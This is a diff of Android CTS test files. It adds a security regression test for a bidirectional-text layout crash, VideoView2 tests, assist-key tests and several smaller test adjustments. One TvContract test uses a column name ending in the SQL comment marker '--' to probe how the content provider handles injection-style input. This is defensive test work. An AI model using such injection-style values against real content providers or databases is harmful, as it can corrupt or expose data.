-Lw9WSRFy6jBYX1Wf83M96+WPNQensLymnXMDuwJhoNV5MnGMkqsASfkzZwLxcLRKlt4gJ4gmmPlM
-mIeJCcMvUJIMOlYcNEiBF4i4CkzA/ThxPRXSCZdQKjzM5YG7Sj3uEJTYgDq+50k/nKnhqKymZhQN
-pXtax3/2ivonWfNaWWIYBEY3aRQTb3IwTRjM1ib6Aj4sIjATzP0vowmYoQf/iv5HKYyndyRcy4zR
-LeOUbU5Hk0Rhc896eOFshwuB8VQ/6kiIPWN4VRNXn/hjT+p5y+ww8IM1crLV+ftdRDhDKbgxNfo1
-R1uhZgRryzWBmFEz6wSKDctdVeZ087e3pfze+V3/hrT2gevoYtcMHT7+qmNssnDbUinXJicQAQBn
-Wl2lx+PwyRnQ1dAozjcpytqXNmRF/881E2MvtdAN5Y4F5d0fh32Yi455xQ5UNb0=
------END CERTIFICATE-----
-
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
index 05fc9e6..bd3df09 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
@@ -33,6 +33,7 @@
import android.graphics.Paint.FontMetricsInt;
import android.graphics.Typeface;
import android.os.LocaleList;
+import android.platform.test.annotations.SecurityTest;
import android.text.Editable;
import android.text.Layout;
import android.text.Layout.Alignment;
@@ -1537,4 +1538,33 @@
assertEquals(-200, secondMetrics.ascent);
assertEquals(40, secondMetrics.descent);
}
+
+ // This is for b/140755449
+ @SecurityTest
+ @Test
+ public void testBidiVisibleEnd() {
+ TextPaint paint = new TextPaint();
+ // The default text size is too small and not useful for handling line breaks.
+ // Make it bigger.
+ paint.setTextSize(32);
+
+ final String input = "\u05D0aaaaaa\u3000 aaaaaa";
+ // To make line break happen, pass slightly shorter width from the full text width.
+ final int lineBreakWidth = (int) (paint.measureText(input) * 0.8);
+ final StaticLayout layout = StaticLayout.Builder.obtain(
+ input, 0, input.length(), paint, lineBreakWidth).build();
+
+ // Make sure getLineMax won't cause crashes.
+ // getLineMax eventually calls TextLine.measure which was the problematic method.
+ layout.getLineMax(0);
+
+ final Bitmap bmp = Bitmap.createBitmap(
+ layout.getWidth(),
+ layout.getHeight(),
+ Bitmap.Config.RGB_565);
+ final Canvas c = new Canvas(bmp);
+ // Make sure draw won't cause crashes.
+ // draw eventualy calls TextLine.draw which was the problematic method.
+ layout.draw(c);
+ }
}
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
index 27c388a..6314ec5 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
@@ -105,7 +105,8 @@
private static final String WHITE_SPACES = " \r \n \t \f ";
private static final String PARAM_CANONICAL_GENRE = "canonical_genre";
- private static final String NON_EXISTING_COLUMN_NAME = "non_existing_column";
+ private static final String[] NON_EXISTING_COLUMN_NAMES =
+ {"non_existing_column", "another non-existing column --"};
private String mInputId;
private ContentResolver mContentResolver;
@@ -336,15 +337,20 @@
private void verifyNonExistingColumn(Uri channelUri, long channelId) {
String[] projection = {
Channels._ID,
- NON_EXISTING_COLUMN_NAME
+ NON_EXISTING_COLUMN_NAMES[0],
+ NON_EXISTING_COLUMN_NAMES[1]
};
try (Cursor cursor = mContentResolver.query(channelUri, projection, null, null, null)) {
assertNotNull(cursor);
assertEquals(cursor.getCount(), 1);
assertTrue(cursor.moveToNext());
assertEquals(channelId, cursor.getLong(0));
+ assertEquals(NON_EXISTING_COLUMN_NAMES[0], cursor.getColumnName(1));
assertNull(cursor.getString(1));
assertEquals(0, cursor.getInt(1));
+ assertEquals(NON_EXISTING_COLUMN_NAMES[1], cursor.getColumnName(2));
+ assertNull(cursor.getString(2));
+ assertEquals(0, cursor.getInt(2));
}
}
@@ -533,7 +539,8 @@
return;
}
ContentValues values = createDummyChannelValues(mInputId, false);
- values.put(NON_EXISTING_COLUMN_NAME, "dummy value");
+ values.put(NON_EXISTING_COLUMN_NAMES[0], "dummy value 0");
+ values.put(NON_EXISTING_COLUMN_NAMES[1], "dummy value 1");
Uri rowUri = mContentResolver.insert(mChannelsUri, values);
long channelId = ContentUris.parseId(rowUri);
Uri channelUri = TvContract.buildChannelUri(channelId);
diff --git a/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java b/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
index 478995f..24b2053 100644
--- a/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
@@ -44,9 +44,6 @@
* KEYCODE_HOME
* This test launches an Activity and inject KeyEvents with the corresponding key codes.
* The test will fail if any of these keys are received by the activity.
- * Note: The ASSIST tests were removed because they caused a side-effect of launching the
- * assistant asynchronously (as intended), which causes problems with tests which happen to
- * be running later and lose focus/visibility because of that extra window.
*/
@MediumTest
@RunWith(AndroidJUnit4.class)
@@ -66,6 +63,16 @@
}
@Test
+ public void testKeyCodeAssist() {
+ testKey(KeyEvent.KEYCODE_ASSIST);
+ }
+
+ @Test
+ public void testKeyCodeVoiceAssist() {
+ testKey(KeyEvent.KEYCODE_VOICE_ASSIST);
+ }
+
+ @Test
public void testKeyCodeHome() {
testKey(KeyEvent.KEYCODE_HOME);
}
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index cb2dd97..acd6849 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -3783,6 +3783,11 @@
CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mockView);
assertTrue(fitWindowsView.isInTouchMode());
+
+ event.setSource(InputDevice.SOURCE_MOUSE);
+ event.setAction(MotionEvent.ACTION_DOWN);
+ mInstrumentation.sendPointerSync(event);
+ assertFalse(fitWindowsView.isInTouchMode());
}
@UiThreadTest
diff --git a/tests/tests/widget/AndroidManifest.xml b/tests/tests/widget/AndroidManifest.xml
index d52f114..a6271fd 100644
--- a/tests/tests/widget/AndroidManifest.xml
+++ b/tests/tests/widget/AndroidManifest.xml
@@ -387,6 +387,15 @@
</intent-filter>
</activity>
+ <activity android:name="android.widget.cts.VideoView2CtsActivity"
+ android:configChanges="keyboardHidden|orientation|screenSize"
+ android:label="VideoView2CtsActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+ </intent-filter>
+ </activity>
+
<activity android:name="android.widget.cts.AutoCompleteCtsActivity"
android:label="AutoCompleteCtsActivity"
android:screenOrientation="nosensor"
diff --git a/tests/tests/widget/res/layout/videoview2_layout.xml b/tests/tests/widget/res/layout/videoview2_layout.xml
new file mode 100644
index 0000000..9030e1b
--- /dev/null
+++ b/tests/tests/widget/res/layout/videoview2_layout.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <VideoView2
+ android:id="@+id/videoview"
+ android:layout_width="160dp"
+ android:layout_height="120dp"/>
+</LinearLayout>
diff --git a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
index 606bde9..4cc5ec6 100644
--- a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
@@ -30,7 +30,6 @@
import android.app.Instrumentation;
import android.app.UiAutomation;
import android.content.res.Configuration;
-import android.content.res.Resources;
import android.text.TextUtils;
import android.view.accessibility.AccessibilityEvent;
import android.widget.NumberPicker;
@@ -341,15 +340,11 @@
final int[] numberPickerLocationOnScreen = new int[2];
mNumberPicker.getLocationOnScreen(numberPickerLocationOnScreen);
- int screenHeight = Resources.getSystem().getDisplayMetrics().heightPixels;
- int numberPickerMiddleX = numberPickerLocationOnScreen[0] + mNumberPicker.getWidth() / 2;
- int numberPickerStartY = numberPickerLocationOnScreen[1] + 1;
-
CtsTouchUtils.emulateDragGesture(mInstrumentation,
- numberPickerMiddleX,
- numberPickerStartY,
+ numberPickerLocationOnScreen[0] + mNumberPicker.getWidth() / 2,
+ numberPickerLocationOnScreen[1] + 1,
0,
- screenHeight - numberPickerStartY); // drag down to the bottom of the screen.
+ mNumberPicker.getHeight() - 2);
// At this point we expect that the drag-down gesture has selected the value
// that was "above" the previously selected one, and that our value change listener
@@ -394,15 +389,12 @@
final int[] numberPickerLocationOnScreen = new int[2];
mNumberPicker.getLocationOnScreen(numberPickerLocationOnScreen);
- int numberPickerMiddleX = numberPickerLocationOnScreen[0] + mNumberPicker.getWidth() / 2;
- int numberPickerEndY = numberPickerLocationOnScreen[1] + mNumberPicker.getHeight() - 1;
-
mUiAutomation.executeAndWaitForEvent(() ->
CtsTouchUtils.emulateDragGesture(mInstrumentation,
- numberPickerMiddleX,
- numberPickerEndY,
+ numberPickerLocationOnScreen[0] + mNumberPicker.getWidth() / 2,
+ numberPickerLocationOnScreen[1] + mNumberPicker.getHeight() - 1,
0,
- -(numberPickerEndY)), // drag up to the top of the screen.
+ -(mNumberPicker.getHeight() - 2)),
(AccessibilityEvent event) ->
event.getEventType() == AccessibilityEvent.TYPE_VIEW_SCROLLED,
TIMEOUT_ACCESSIBILITY_EVENT);
@@ -442,5 +434,4 @@
mNumberPicker.setWrapSelectorWheel(true);
assertTrue(mNumberPicker.getWrapSelectorWheel());
}
-
}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/tests/tests/widget/src/android/widget/cts/VideoView2CtsActivity.java
similarity index 62%
copy from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
copy to tests/tests/widget/src/android/widget/cts/VideoView2CtsActivity.java
index 5ee3aeb..e20f24e 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/VideoView2CtsActivity.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,16 +14,22 @@
* limitations under the License.
*/
-package com.android.cts.usepermission;
+package android.widget.cts;
import android.app.Activity;
import android.os.Bundle;
+import android.widget.VideoView2;
-public class AutoClosingActivity extends Activity {
+/**
+ * A minimal application for {@link VideoView2} test.
+ */
+public class VideoView2CtsActivity extends Activity {
+ /**
+ * Called with the activity is first created.
+ */
@Override
- protected void onCreate(Bundle savedInstanceState) {
+ public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
-
- finish();
+ setContentView(R.layout.videoview2_layout);
}
}
diff --git a/tests/tests/widget/src/android/widget/cts/VideoView2Test.java b/tests/tests/widget/src/android/widget/cts/VideoView2Test.java
new file mode 100644
index 0000000..05dd990
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/VideoView2Test.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static android.content.Context.KEYGUARD_SERVICE;
+
+import static junit.framework.Assert.assertEquals;
+
+import static org.mockito.Matchers.same;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.KeyguardManager;
+import android.content.Context;
+import android.media.AudioAttributes;
+import android.media.session.MediaController;
+import android.media.session.PlaybackState;
+import android.util.Log;
+import android.view.View;
+import android.view.WindowManager;
+import android.widget.VideoView2;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.List;
+
+/**
+ * Test {@link VideoView2}.
+ */
+@Ignore
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class VideoView2Test {
+ /** Debug TAG. **/
+ private static final String TAG = "VideoView2Test";
+ /** The maximum time to wait for an operation. */
+ private static final long TIME_OUT = 15000L;
+ /** The interval time to wait for completing an operation. */
+ private static final long OPERATION_INTERVAL = 1500L;
+ /** The duration of R.raw.testvideo. */
+ private static final int TEST_VIDEO_DURATION = 11047;
+ /** The full name of R.raw.testvideo. */
+ private static final String VIDEO_NAME = "testvideo.3gp";
+ /** delta for duration in case user uses different decoders on different
+ hardware that report a duration that's different by a few milliseconds */
+ private static final int DURATION_DELTA = 100;
+ /** AudioAttributes to be used by this player */
+ private static final AudioAttributes AUDIO_ATTR = new AudioAttributes.Builder()
+ .setUsage(AudioAttributes.USAGE_GAME)
+ .setContentType(AudioAttributes.CONTENT_TYPE_SONIFICATION)
+ .build();
+ private Instrumentation mInstrumentation;
+ private Activity mActivity;
+ private KeyguardManager mKeyguardManager;
+ private VideoView2 mVideoView;
+ private MediaController mController;
+ private String mVideoPath;
+
+ @Rule
+ public ActivityTestRule<VideoView2CtsActivity> mActivityRule =
+ new ActivityTestRule<>(VideoView2CtsActivity.class);
+
+ @Before
+ public void setup() throws Throwable {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mKeyguardManager = (KeyguardManager)
+ mInstrumentation.getTargetContext().getSystemService(KEYGUARD_SERVICE);
+ mActivity = mActivityRule.getActivity();
+ mVideoView = (VideoView2) mActivity.findViewById(R.id.videoview);
+ mVideoPath = prepareSampleVideo();
+
+ mActivityRule.runOnUiThread(() -> {
+ // Keep screen on while testing.
+ mActivity.getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+ mActivity.setTurnScreenOn(true);
+ mActivity.setShowWhenLocked(true);
+ mKeyguardManager.requestDismissKeyguard(mActivity, null);
+ });
+ mInstrumentation.waitForIdleSync();
+
+ final View.OnAttachStateChangeListener mockAttachListener =
+ mock(View.OnAttachStateChangeListener.class);
+ if (!mVideoView.isAttachedToWindow()) {
+ mVideoView.addOnAttachStateChangeListener(mockAttachListener);
+ verify(mockAttachListener, timeout(TIME_OUT)).onViewAttachedToWindow(same(mVideoView));
+ }
+ mController = mVideoView.getMediaController();
+ }
+
+ @After
+ public void tearDown() throws Throwable {
+ /** call media controller's stop */
+ }
+
+ private boolean hasCodec() {
+ return MediaUtils.hasCodecsForResource(mActivity, R.raw.testvideo);
+ }
+
+ private String prepareSampleVideo() throws IOException {
+ try (InputStream source = mActivity.getResources().openRawResource(R.raw.testvideo);
+ OutputStream target = mActivity.openFileOutput(VIDEO_NAME, Context.MODE_PRIVATE)) {
+ final byte[] buffer = new byte[1024];
+ for (int len = source.read(buffer); len > 0; len = source.read(buffer)) {
+ target.write(buffer, 0, len);
+ }
+ }
+
+ return mActivity.getFileStreamPath(VIDEO_NAME).getAbsolutePath();
+ }
+
+ @UiThreadTest
+ @Test
+ public void testConstructor() {
+ new VideoView2(mActivity);
+ new VideoView2(mActivity, null);
+ new VideoView2(mActivity, null, 0);
+ }
+
+ @Test
+ public void testPlayVideo() throws Throwable {
+ // Don't run the test if the codec isn't supported.
+ if (!hasCodec()) {
+ Log.i(TAG, "SKIPPING testPlayVideo(): codec is not supported");
+ return;
+ }
+ final MediaController.Callback mockControllerCallback =
+ mock(MediaController.Callback.class);
+ mActivityRule.runOnUiThread(() -> {
+ mController.registerCallback(mockControllerCallback);
+ mVideoView.setVideoPath(mVideoPath);
+ mController.getTransportControls().play();
+ });
+ ArgumentCaptor<PlaybackState> someState = ArgumentCaptor.forClass(PlaybackState.class);
+ verify(mockControllerCallback, timeout(TIME_OUT).atLeast(3)).onPlaybackStateChanged(
+ someState.capture());
+ List<PlaybackState> states = someState.getAllValues();
+ assertEquals(PlaybackState.STATE_PAUSED, states.get(0).getState());
+ assertEquals(PlaybackState.STATE_PLAYING, states.get(1).getState());
+ assertEquals(PlaybackState.STATE_STOPPED, states.get(2).getState());
+ }
+
+ @Test
+ public void testPlayVideoOnTextureView() throws Throwable {
+ // Don't run the test if the codec isn't supported.
+ if (!hasCodec()) {
+ Log.i(TAG, "SKIPPING testPlayVideoOnTextureView(): codec is not supported");
+ return;
+ }
+ final VideoView2.OnViewTypeChangedListener mockViewTypeListener =
+ mock(VideoView2.OnViewTypeChangedListener.class);
+ final MediaController.Callback mockControllerCallback =
+ mock(MediaController.Callback.class);
+ mActivityRule.runOnUiThread(() -> {
+ mVideoView.setOnViewTypeChangedListener(mockViewTypeListener);
+ mVideoView.setViewType(mVideoView.VIEW_TYPE_TEXTUREVIEW);
+ mController.registerCallback(mockControllerCallback);
+ mVideoView.setVideoPath(mVideoPath);
+ });
+ verify(mockViewTypeListener, timeout(TIME_OUT))
+ .onViewTypeChanged(mVideoView, VideoView2.VIEW_TYPE_TEXTUREVIEW);
+
+ mActivityRule.runOnUiThread(() -> {
+ mController.getTransportControls().play();
+ });
+ ArgumentCaptor<PlaybackState> someState = ArgumentCaptor.forClass(PlaybackState.class);
+ verify(mockControllerCallback, timeout(TIME_OUT).atLeast(3)).onPlaybackStateChanged(
+ someState.capture());
+ List<PlaybackState> states = someState.getAllValues();
+ assertEquals(PlaybackState.STATE_PAUSED, states.get(0).getState());
+ assertEquals(PlaybackState.STATE_PLAYING, states.get(1).getState());
+ assertEquals(PlaybackState.STATE_STOPPED, states.get(2).getState());
+ }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java b/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
index 15bcb3bd..54d7c22 100644
--- a/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
@@ -160,7 +160,7 @@
assertTrue("First callback should have happened sooner than "
+ actualTimeUntilFirstInvocationNs / NANOS_IN_MILLI,
(callbackFirstInvocationTime - startTime)
- <= (minTimeUntilFirstInvocationMs + 200) * NANOS_IN_MILLI);
+ <= (minTimeUntilFirstInvocationMs + 100) * NANOS_IN_MILLI);
}
}
diff --git a/tests/vr/src/android/vr/cts/VrFeaturesTest.java b/tests/vr/src/android/vr/cts/VrFeaturesTest.java
index a0c6457..caf1ade 100644
--- a/tests/vr/src/android/vr/cts/VrFeaturesTest.java
+++ b/tests/vr/src/android/vr/cts/VrFeaturesTest.java
@@ -21,8 +21,6 @@
import android.os.Process;
import android.test.ActivityInstrumentationTestCase2;
-import com.android.compatibility.common.util.CddTest;
-
public class VrFeaturesTest extends ActivityInstrumentationTestCase2<CtsActivity> {
private CtsActivity mActivity;
@@ -30,7 +28,6 @@
super(CtsActivity.class);
}
- @CddTest(requirement="7.9.2/C-1-2")
public void testLacksDeprecatedVrModeFeature() {
mActivity = getActivity();
boolean hasVrMode = mActivity.getPackageManager().hasSystemFeature(
@@ -43,7 +40,6 @@
}
}
- @CddTest(requirement="7.9.2/C-1-3")
public void testSustainedPerformanceModeSupported() {
mActivity = getActivity();
PowerManager pm = (PowerManager) mActivity.getSystemService(Context.POWER_SERVICE);